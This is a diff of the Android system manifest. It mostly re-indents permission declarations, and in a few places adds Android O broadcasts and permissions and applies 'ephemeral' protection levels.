+    <!-- Added in O -->
+    <!-- TODO: temporary broadcast used by AutoFillManagerServiceImpl; will be removed -->
+    <protected-broadcast android:name="com.android.internal.autofill.action.REQUEST_AUTOFILL" />
+    <protected-broadcast android:name="android.app.action.APPLICATION_DELEGATION_SCOPES_CHANGED" />
+    <protected-broadcast android:name="com.android.server.wm.ACTION_REVOKE_SYSTEM_ALERT_WINDOW_PERMISSION" />
+    <protected-broadcast android:name="android.media.tv.action.PARENTAL_CONTROLS_ENABLED_CHANGED" />
+
+    <protected-broadcast android:name="android.content.pm.action.SESSION_COMMITTED" />
+    <protected-broadcast android:name="android.os.action.USER_RESTRICTIONS_CHANGED" />
+    <protected-broadcast android:name="android.media.tv.action.PREVIEW_PROGRAM_ADDED_TO_WATCH_NEXT" />
+    <protected-broadcast android:name="android.media.tv.action.PREVIEW_PROGRAM_BROWSABLE_DISABLED" />
+    <protected-broadcast android:name="android.media.tv.action.WATCH_NEXT_PROGRAM_BROWSABLE_DISABLED" />
+    <protected-broadcast android:name="android.media.tv.action.CHANNEL_BROWSABLE_REQUESTED" />
+
     <!-- ====================================================================== -->
     <!--                          RUNTIME PERMISSIONS                           -->
     <!-- ====================================================================== -->
@@ -496,28 +553,28 @@
     <!-- Used for runtime permissions related to contacts and profiles on this
         device. -->
     <permission-group android:name="android.permission-group.CONTACTS"
-                      android:icon="@drawable/perm_group_contacts"
-                      android:label="@string/permgrouplab_contacts"
-                      android:description="@string/permgroupdesc_contacts"
-                      android:priority="100" />
+        android:icon="@drawable/perm_group_contacts"
+        android:label="@string/permgrouplab_contacts"
+        android:description="@string/permgroupdesc_contacts"
+        android:priority="100" />
 
     <!-- Allows an application to read the user's contacts data.
         <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.READ_CONTACTS"
-                android:permissionGroup="android.permission-group.CONTACTS"
-                android:label="@string/permlab_readContacts"
-                android:description="@string/permdesc_readContacts"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.CONTACTS"
+        android:label="@string/permlab_readContacts"
+        android:description="@string/permdesc_readContacts"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an application to write the user's contacts data.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.WRITE_CONTACTS"
-                android:permissionGroup="android.permission-group.CONTACTS"
-                android:label="@string/permlab_writeContacts"
-                android:description="@string/permdesc_writeContacts"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.CONTACTS"
+        android:label="@string/permlab_writeContacts"
+        android:description="@string/permdesc_writeContacts"
+        android:protectionLevel="dangerous" />
 
     <!-- ====================================================================== -->
     <!-- Permissions for accessing user's calendar                              -->
@@ -526,28 +583,28 @@
 
     <!-- Used for runtime permissions related to user's calendar. -->
     <permission-group android:name="android.permission-group.CALENDAR"
-                      android:icon="@drawable/perm_group_calendar"
-                      android:label="@string/permgrouplab_calendar"
-                      android:description="@string/permgroupdesc_calendar"
-                      android:priority="200" />
+        android:icon="@drawable/perm_group_calendar"
+        android:label="@string/permgrouplab_calendar"
+        android:description="@string/permgroupdesc_calendar"
+        android:priority="200" />
 
     <!-- Allows an application to read the user's calendar data.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.READ_CALENDAR"
-                android:permissionGroup="android.permission-group.CALENDAR"
-                android:label="@string/permlab_readCalendar"
-                android:description="@string/permdesc_readCalendar"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.CALENDAR"
+        android:label="@string/permlab_readCalendar"
+        android:description="@string/permdesc_readCalendar"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an application to write the user's calendar data.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.WRITE_CALENDAR"
-                android:permissionGroup="android.permission-group.CALENDAR"
-                android:label="@string/permlab_writeCalendar"
-                android:description="@string/permdesc_writeCalendar"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.CALENDAR"
+        android:label="@string/permlab_writeCalendar"
+        android:description="@string/permdesc_writeCalendar"
+        android:protectionLevel="dangerous" />
 
     <!-- ====================================================================== -->
     <!-- Permissions for accessing and modifying user's SMS messages            -->
@@ -556,56 +613,56 @@
 
     <!-- Used for runtime permissions related to user's SMS messages. -->
     <permission-group android:name="android.permission-group.SMS"
-                      android:icon="@drawable/perm_group_sms"
-                      android:label="@string/permgrouplab_sms"
-                      android:description="@string/permgroupdesc_sms"
-                      android:priority="300" />
+        android:icon="@drawable/perm_group_sms"
+        android:label="@string/permgrouplab_sms"
+        android:description="@string/permgroupdesc_sms"
+        android:priority="300" />
 
     <!-- Allows an application to send SMS messages.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.SEND_SMS"
-                android:permissionGroup="android.permission-group.SMS"
-                android:label="@string/permlab_sendSms"
-                android:description="@string/permdesc_sendSms"
-                android:permissionFlags="costsMoney"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.SMS"
+        android:label="@string/permlab_sendSms"
+        android:description="@string/permdesc_sendSms"
+        android:permissionFlags="costsMoney"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an application to receive SMS messages.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.RECEIVE_SMS"
-                android:permissionGroup="android.permission-group.SMS"
-                android:label="@string/permlab_receiveSms"
-                android:description="@string/permdesc_receiveSms"
-                android:protectionLevel="dangerous"/>
+        android:permissionGroup="android.permission-group.SMS"
+        android:label="@string/permlab_receiveSms"
+        android:description="@string/permdesc_receiveSms"
+        android:protectionLevel="dangerous"/>
 
     <!-- Allows an application to read SMS messages.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.READ_SMS"
-                android:permissionGroup="android.permission-group.SMS"
-                android:label="@string/permlab_readSms"
-                android:description="@string/permdesc_readSms"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.SMS"
+        android:label="@string/permlab_readSms"
+        android:description="@string/permdesc_readSms"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an application to receive WAP push messages.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.RECEIVE_WAP_PUSH"
-                android:permissionGroup="android.permission-group.SMS"
-                android:label="@string/permlab_receiveWapPush"
-                android:description="@string/permdesc_receiveWapPush"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.SMS"
+        android:label="@string/permlab_receiveWapPush"
+        android:description="@string/permdesc_receiveWapPush"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an application to monitor incoming MMS messages.
         <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.RECEIVE_MMS"
-                android:permissionGroup="android.permission-group.SMS"
-                android:label="@string/permlab_receiveMms"
-                android:description="@string/permdesc_receiveMms"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.SMS"
+        android:label="@string/permlab_receiveMms"
+        android:description="@string/permdesc_receiveMms"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an application to read previously received cell broadcast
          messages and to register a content observer to get notifications when
@@ -620,10 +677,10 @@
          <p>Protection level: dangerous
          @hide Pending API council approval -->
     <permission android:name="android.permission.READ_CELL_BROADCASTS"
-                android:permissionGroup="android.permission-group.SMS"
-                android:label="@string/permlab_readCellBroadcasts"
-                android:description="@string/permdesc_readCellBroadcasts"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.SMS"
+        android:label="@string/permlab_readCellBroadcasts"
+        android:description="@string/permdesc_readCellBroadcasts"
+        android:protectionLevel="dangerous" />
 
     <!-- ====================================================================== -->
     <!-- Permissions for accessing external storage                             -->
@@ -632,10 +689,10 @@
 
     <!-- Used for runtime permissions related to the shared external storage. -->
     <permission-group android:name="android.permission-group.STORAGE"
-                      android:icon="@drawable/perm_group_storage"
-                      android:label="@string/permgrouplab_storage"
-                      android:description="@string/permgroupdesc_storage"
-                      android:priority="900" />
+        android:icon="@drawable/perm_group_storage"
+        android:label="@string/permgrouplab_storage"
+        android:description="@string/permgroupdesc_storage"
+        android:priority="900" />
 
     <!-- Allows an application to read from external storage.
      <p>Any app that declares the {@link #WRITE_EXTERNAL_STORAGE} permission is implicitly
@@ -660,10 +717,10 @@
      <p>Protection level: dangerous
      -->
     <permission android:name="android.permission.READ_EXTERNAL_STORAGE"
-                android:permissionGroup="android.permission-group.STORAGE"
-                android:label="@string/permlab_sdcardRead"
-                android:description="@string/permdesc_sdcardRead"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.STORAGE"
+        android:label="@string/permlab_sdcardRead"
+        android:description="@string/permdesc_sdcardRead"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an application to write to external storage.
          <p class="note"><strong>Note:</strong> If <em>both</em> your <a
@@ -681,10 +738,10 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"
-                android:permissionGroup="android.permission-group.STORAGE"
-                android:label="@string/permlab_sdcardWrite"
-                android:description="@string/permdesc_sdcardWrite"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.STORAGE"
+        android:label="@string/permlab_sdcardWrite"
+        android:description="@string/permdesc_sdcardWrite"
+        android:protectionLevel="dangerous" />
 
     <!-- ====================================================================== -->
     <!-- Permissions for accessing the device location                          -->
@@ -693,28 +750,30 @@
 
     <!-- Used for permissions that allow accessing the device location. -->
     <permission-group android:name="android.permission-group.LOCATION"
-                      android:icon="@drawable/perm_group_location"
-                      android:label="@string/permgrouplab_location"
-                      android:description="@string/permgroupdesc_location"
-                      android:priority="400" />
+        android:icon="@drawable/perm_group_location"
+        android:label="@string/permgrouplab_location"
+        android:description="@string/permgroupdesc_location"
+        android:priority="400" />
 
     <!-- Allows an app to access precise location.
+         Alternatively, you might want {@link #ACCESS_COARSE_LOCATION}.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.ACCESS_FINE_LOCATION"
-                android:permissionGroup="android.permission-group.LOCATION"
-                android:label="@string/permlab_accessFineLocation"
-                android:description="@string/permdesc_accessFineLocation"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.LOCATION"
+        android:label="@string/permlab_accessFineLocation"
+        android:description="@string/permdesc_accessFineLocation"
+        android:protectionLevel="dangerous|ephemeral" />
 
     <!-- Allows an app to access approximate location.
+         Alternatively, you might want {@link #ACCESS_FINE_LOCATION}.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.ACCESS_COARSE_LOCATION"
-                android:permissionGroup="android.permission-group.LOCATION"
-                android:label="@string/permlab_accessCoarseLocation"
-                android:description="@string/permdesc_accessCoarseLocation"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.LOCATION"
+        android:label="@string/permlab_accessCoarseLocation"
+        android:description="@string/permdesc_accessCoarseLocation"
+        android:protectionLevel="dangerous|ephemeral" />
 
     <!-- ====================================================================== -->
     <!-- Permissions for accessing the device telephony                         -->
@@ -723,10 +782,10 @@
 
     <!-- Used for permissions that are associated telephony features. -->
     <permission-group android:name="android.permission-group.PHONE"
-                      android:icon="@drawable/perm_group_phone_calls"
-                      android:label="@string/permgrouplab_phone"
-                      android:description="@string/permgroupdesc_phone"
-                      android:priority="500" />
+        android:icon="@drawable/perm_group_phone_calls"
+        android:label="@string/permgrouplab_phone"
+        android:description="@string/permgroupdesc_phone"
+        android:priority="500" />
 
     <!-- Allows read only access to phone state, including the phone number of the device,
          current cellular network information, the status of any ongoing calls, and a list of any
@@ -742,21 +801,30 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.READ_PHONE_STATE"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:label="@string/permlab_readPhoneState"
-                android:description="@string/permdesc_readPhoneState"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.PHONE"
+        android:label="@string/permlab_readPhoneState"
+        android:description="@string/permdesc_readPhoneState"
+        android:protectionLevel="dangerous" />
+
+    <!-- Allows read access to the device's phone number(s). This is a subset of the capabilities
+         granted by {@link #READ_PHONE_STATE} but is exposed to ephemeral applications.
+         <p>Protection level: dangerous-->
+    <permission android:name="android.permission.READ_PHONE_NUMBERS"
+        android:permissionGroup="android.permission-group.PHONE"
+        android:label="@string/permlab_readPhoneNumbers"
+        android:description="@string/permdesc_readPhoneNumbers"
+        android:protectionLevel="dangerous|ephemeral" />
 
     <!-- Allows an application to initiate a phone call without going through
         the Dialer user interface for the user to confirm the call.
         <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.CALL_PHONE"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:permissionFlags="costsMoney"
-                android:label="@string/permlab_callPhone"
-                android:description="@string/permdesc_callPhone"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.PHONE"
+        android:permissionFlags="costsMoney"
+        android:label="@string/permlab_callPhone"
+        android:description="@string/permdesc_callPhone"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an application to access the IMS call service: making and
          modifying a call
@@ -764,10 +832,10 @@
         @hide
     -->
     <permission android:name="android.permission.ACCESS_IMS_CALL_SERVICE"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:label="@string/permlab_accessImsCallService"
-                android:description="@string/permdesc_accessImsCallService"
-                android:protectionLevel="signature|privileged" />
+        android:permissionGroup="android.permission-group.PHONE"
+        android:label="@string/permlab_accessImsCallService"
+        android:description="@string/permdesc_accessImsCallService"
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to read the user's call log.
          <p class="note"><strong>Note:</strong> If your app uses the
@@ -782,10 +850,10 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.READ_CALL_LOG"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:label="@string/permlab_readCallLog"
-                android:description="@string/permdesc_readCallLog"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.PHONE"
+        android:label="@string/permlab_readCallLog"
+        android:description="@string/permdesc_readCallLog"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an application to write (but not read) the user's
          call log data.
@@ -801,28 +869,28 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.WRITE_CALL_LOG"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:label="@string/permlab_writeCallLog"
-                android:description="@string/permdesc_writeCallLog"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.PHONE"
+        android:label="@string/permlab_writeCallLog"
+        android:description="@string/permdesc_writeCallLog"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an application to add voicemails into the system.
          <p>Protection level: dangerous
     -->
     <permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:label="@string/permlab_addVoicemail"
-                android:description="@string/permdesc_addVoicemail"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.PHONE"
+        android:label="@string/permlab_addVoicemail"
+        android:description="@string/permdesc_addVoicemail"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an application to use SIP service.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.USE_SIP"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:description="@string/permdesc_use_sip"
-                android:label="@string/permlab_use_sip"
-                android:protectionLevel="dangerous"/>
+        android:permissionGroup="android.permission-group.PHONE"
+        android:description="@string/permdesc_use_sip"
+        android:label="@string/permlab_use_sip"
+        android:protectionLevel="dangerous"/>
 
     <!-- Allows an application to see the number being dialed during an outgoing
          call with the option to redirect the call to a different number or
@@ -830,10 +898,31 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.PROCESS_OUTGOING_CALLS"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:label="@string/permlab_processOutgoingCalls"
-                android:description="@string/permdesc_processOutgoingCalls"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.PHONE"
+        android:label="@string/permlab_processOutgoingCalls"
+        android:description="@string/permdesc_processOutgoingCalls"
+        android:protectionLevel="dangerous" />
+
+
+    <!-- Allows the app to answer an incoming phone call.
+         <p>Protection level: dangerous
+    -->
+    <permission android:name="android.permission.ANSWER_PHONE_CALLS"
+        android:permissionGroup="android.permission-group.PHONE"
+        android:label="@string/permlab_answerPhoneCalls"
+        android:description="@string/permdesc_answerPhoneCalls"
+        android:protectionLevel="dangerous|runtime" />
+
+    <!-- Allows a calling application which manages it own calls through the self-managed
+         {@link android.telecom.ConnectionService} APIs.  See
+         {@link android.telecom.PhoneAccount#CAPABILITY_SELF_MANAGED for more information on the
+         self-managed ConnectionService APIs.
+         <p>Protection level: normal
+    -->
+    <permission android:name="android.permission.MANAGE_OWN_CALLS"
+                android:label="@string/permlab_manageOwnCalls"
+                android:description="@string/permdesc_manageOwnCalls"
+                android:protectionLevel="normal" />
 
     <!-- ====================================================================== -->
     <!-- Permissions for accessing the device microphone                        -->
@@ -844,19 +933,19 @@
          microphone audio from the device. Note that phone calls also capture audio
          but are in a separate (more visible) permission group. -->
     <permission-group android:name="android.permission-group.MICROPHONE"
-                      android:icon="@drawable/perm_group_microphone"
-                      android:label="@string/permgrouplab_microphone"
-                      android:description="@string/permgroupdesc_microphone"
-                      android:priority="600" />
+        android:icon="@drawable/perm_group_microphone"
+        android:label="@string/permgrouplab_microphone"
+        android:description="@string/permgroupdesc_microphone"
+        android:priority="600" />
 
     <!-- Allows an application to record audio.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.RECORD_AUDIO"
-                android:permissionGroup="android.permission-group.MICROPHONE"
-                android:label="@string/permlab_recordAudio"
-                android:description="@string/permdesc_recordAudio"
-                android:protectionLevel="dangerous"/>
+        android:permissionGroup="android.permission-group.MICROPHONE"
+        android:label="@string/permlab_recordAudio"
+        android:description="@string/permdesc_recordAudio"
+        android:protectionLevel="dangerous"/>
 
     <!-- ====================================================================== -->
     <!-- Permissions for accessing the UCE Service                              -->
@@ -866,15 +955,15 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.ACCESS_UCE_PRESENCE_SERVICE"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:protectionLevel="signatureOrSystem"/>
+        android:permissionGroup="android.permission-group.PHONE"
+        android:protectionLevel="signatureOrSystem"/>
 
     <!-- @hide Allows an application to Access UCE-OPTIONS.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.ACCESS_UCE_OPTIONS_SERVICE"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:protectionLevel="signatureOrSystem"/>
+        android:permissionGroup="android.permission-group.PHONE"
+        android:protectionLevel="signatureOrSystem"/>
 
 
 
@@ -886,10 +975,10 @@
     <!-- Used for permissions that are associated with accessing
      camera or capturing images/video from the device. -->
     <permission-group android:name="android.permission-group.CAMERA"
-                      android:icon="@drawable/perm_group_camera"
-                      android:label="@string/permgrouplab_camera"
-                      android:description="@string/permgroupdesc_camera"
-                      android:priority="700" />
+        android:icon="@drawable/perm_group_camera"
+        android:label="@string/permgrouplab_camera"
+        android:description="@string/permgroupdesc_camera"
+        android:priority="700" />
 
     <!-- Required to be able to access the camera device.
          <p>This will automatically enforce the <a
@@ -901,10 +990,10 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.CAMERA"
-                android:permissionGroup="android.permission-group.CAMERA"
-                android:label="@string/permlab_camera"
-                android:description="@string/permdesc_camera"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.CAMERA"
+        android:label="@string/permlab_camera"
+        android:description="@string/permdesc_camera"
+        android:protectionLevel="dangerous|ephemeral" />
 
 
     <!-- ====================================================================== -->
@@ -915,28 +1004,28 @@
     <!-- Used for permissions that are associated with accessing
          camera or capturing images/video from the device. -->
     <permission-group android:name="android.permission-group.SENSORS"
-                      android:icon="@drawable/perm_group_sensors"
-                      android:label="@string/permgrouplab_sensors"
-                      android:description="@string/permgroupdesc_sensors"
-                      android:priority="800" />
+        android:icon="@drawable/perm_group_sensors"
+        android:label="@string/permgrouplab_sensors"
+        android:description="@string/permgroupdesc_sensors"
+        android:priority="800" />
 
     <!-- Allows an application to access data from sensors that the user uses to
          measure what is happening inside his/her body, such as heart rate.
          <p>Protection level: dangerous -->
     <permission android:name="android.permission.BODY_SENSORS"
-                android:permissionGroup="android.permission-group.SENSORS"
-                android:label="@string/permlab_bodySensors"
-                android:description="@string/permdesc_bodySensors"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.SENSORS"
+        android:label="@string/permlab_bodySensors"
+        android:description="@string/permdesc_bodySensors"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an app to use fingerprint hardware.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.USE_FINGERPRINT"
-                android:permissionGroup="android.permission-group.SENSORS"
-                android:label="@string/permlab_useFingerprint"
-                android:description="@string/permdesc_useFingerprint"
-                android:protectionLevel="normal" />
+        android:permissionGroup="android.permission-group.SENSORS"
+        android:label="@string/permlab_useFingerprint"
+        android:description="@string/permdesc_useFingerprint"
+        android:protectionLevel="normal" />
 
     <!-- ====================================================================== -->
     <!-- REMOVED PERMISSIONS                                                    -->
@@ -944,78 +1033,78 @@
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.READ_PROFILE"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.WRITE_PROFILE"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.READ_SOCIAL_STREAM"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.WRITE_SOCIAL_STREAM"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.READ_USER_DICTIONARY"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.WRITE_USER_DICTIONARY"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.WRITE_SMS"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="com.android.browser.permission.READ_HISTORY_BOOKMARKS"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="com.android.browser.permission.WRITE_HISTORY_BOOKMARKS"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.AUTHENTICATE_ACCOUNTS"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.MANAGE_ACCOUNTS"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.USE_CREDENTIALS"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.SUBSCRIBED_FEEDS_READ"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.SUBSCRIBED_FEEDS_WRITE"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.FLASHLIGHT"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- ====================================================================== -->
     <!-- INSTALL PERMISSIONS                                                    -->
@@ -1030,37 +1119,37 @@
          to handle the respond-via-message action during incoming calls.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.SEND_RESPOND_VIA_MESSAGE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to send SMS to premium shortcodes without user permission.
          <p>Not for use by third-party applications.
          @hide -->
     <permission android:name="android.permission.SEND_SMS_NO_CONFIRMATION"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to filter carrier specific sms.
          @hide -->
     <permission android:name="android.permission.CARRIER_FILTER_SMS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to receive emergency cell broadcast messages,
          to record or display them to the user.
          <p>Not for use by third-party applications.
          @hide -->
     <permission android:name="android.permission.RECEIVE_EMERGENCY_BROADCAST"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to monitor incoming Bluetooth MAP messages, to record
          or perform processing on them. -->
     <!-- @hide -->
     <permission android:name="android.permission.RECEIVE_BLUETOOTH_MAP"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allows an application to execute contacts directory search.
          This should only be used by ContactsProvider.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.BIND_DIRECTORY_SEARCH"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allows an application to modify cell broadcasts through the content provider.
          <p>Not for use by third-party applications. -->
@@ -1076,9 +1165,9 @@
          <p>Protection level: normal
     -->
     <permission android:name="com.android.alarm.permission.SET_ALARM"
-                android:label="@string/permlab_setAlarm"
-                android:description="@string/permdesc_setAlarm"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_setAlarm"
+        android:description="@string/permdesc_setAlarm"
+        android:protectionLevel="normal" />
 
     <!-- =============================================================== -->
     <!-- Permissions for accessing the user voicemail                    -->
@@ -1089,13 +1178,13 @@
         <p>Protection level: signature|privileged
     -->
     <permission android:name="com.android.voicemail.permission.WRITE_VOICEMAIL"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to read voicemails in the system.
          <p>Protection level: signature|privileged
     -->
     <permission android:name="com.android.voicemail.permission.READ_VOICEMAIL"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- ======================================= -->
     <!-- Permissions for accessing location info -->
@@ -1106,26 +1195,26 @@
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"
-                android:label="@string/permlab_accessLocationExtraCommands"
-                android:description="@string/permdesc_accessLocationExtraCommands"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_accessLocationExtraCommands"
+        android:description="@string/permdesc_accessLocationExtraCommands"
+        android:protectionLevel="normal" />
 
     <!-- @SystemApi Allows an application to install a location provider into the Location Manager.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.INSTALL_LOCATION_PROVIDER"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allows HDMI-CEC service to access device and configuration files.
          This should only be used by HDMI-CEC service.
     -->
     <permission android:name="android.permission.HDMI_CEC"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to use location features in hardware,
          such as the geofencing api.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.LOCATION_HARDWARE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
     <uses-permission android:name="android.permission.LOCATION_HARDWARE"/>
 
     <!-- @SystemApi Allows an application to create mock location providers for testing.
@@ -1133,7 +1222,7 @@
          @hide
     -->
     <permission android:name="android.permission.ACCESS_MOCK_LOCATION"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- ======================================= -->
     <!-- Permissions for accessing networks -->
@@ -1144,73 +1233,93 @@
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.INTERNET"
-                android:description="@string/permdesc_createNetworkSockets"
-                android:label="@string/permlab_createNetworkSockets"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_createNetworkSockets"
+        android:label="@string/permlab_createNetworkSockets"
+        android:protectionLevel="normal|ephemeral" />
 
     <!-- Allows applications to access information about networks.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.ACCESS_NETWORK_STATE"
-                android:description="@string/permdesc_accessNetworkState"
-                android:label="@string/permlab_accessNetworkState"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_accessNetworkState"
+        android:label="@string/permlab_accessNetworkState"
+        android:protectionLevel="normal|ephemeral" />
 
     <!-- Allows applications to access information about Wi-Fi networks.
          <p>Protection level: normal
